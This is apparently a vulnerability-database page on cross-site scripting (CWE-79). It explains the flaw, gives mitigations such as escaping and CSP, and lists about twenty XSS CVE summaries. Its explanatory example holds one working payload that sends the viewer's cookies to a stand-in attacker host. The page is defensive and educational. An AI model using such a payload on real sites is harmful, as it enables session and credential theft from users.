Fallos del tipo CWE-79

29.607 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-12976MEDIUMEvents Manager <= 7.2.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'events_list_grouped' ShortcodeEPSS 0.4%CVE-2023-35918HIGHWordPress WooCommerce Bulk Stock Management Plugin <= 2.2.33 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2019-25427MEDIUMComodo Dome Firewall 2.7.0 Reflected Cross-Site Scripting via antispywareEPSS 0.4%CVE-2024-25875MEDIUMA cross-site scripting (XSS) vulnerability in the Header module of Enhavo CMS v0.13.1 allows attackers to execute arbitrary web scripts or HEPSS 0.4%CVE-2025-59840HIGHVega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variableEPSS 0.4%CVE-2024-7914MEDIUMSourceCodester Yoga Class Registration System SystemSettings.php cross site scriptingEPSS 0.4%CVE-2022-41788MEDIUMWordPress Soledad premium theme <= 8.2.5 - Auth. Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2019-25417MEDIUMComodo Dome Firewall 2.7.0 Reflected Cross-Site Scripting via QoS RulesEPSS 0.4%CVE-2023-51306MEDIUMPHPJabbers Event Ticketing System v1.0 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) in the "name, title" parameters.EPSS 0.4%CVE-2023-51325MEDIUMPHPJabbers Shared Asset Booking System v1.0 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) in the "title, name" parameters.EPSS 0.4%CVE-2023-4592MEDIUMImproper Neutralization of Input During Web Page Generation in WPN-XM ServerstackEPSS 0.4%CVE-2024-1822LOWPHPGurukul Tourism Management System user-bookings.php cross site scriptingEPSS 0.4%CVE-2023-47623MEDIUMScrypted reflected Cross-site Scripting vulnerabilityEPSS 0.4%CVE-2024-3674MEDIUMInline Google Spreadsheet Viewer <= 0.13.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-25207MEDIUMBarangay Population Monitoring System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the Add Resident functionEPSS 0.4%CVE-2024-3338MEDIUMColibri Page Builder <= 1.0.262 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-23173MEDIUMAn issue was discovered in the Cargo extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. TEPSS 0.4%CVE-2024-23177MEDIUMAn issue was discovered in the WatchAnalytics extension in MediaWiki before 1.40.2. XSS can occur via the Special:PageStatistics page parameEPSS 0.4%CVE-2024-41673HIGHDecidim has a cross-site scripting vulnerability in the version control pageEPSS 0.4%CVE-2024-24062MEDIUMspringboot-manager v1.6 is vulnerable to Cross Site Scripting (XSS) via /sys/role.EPSS 0.4%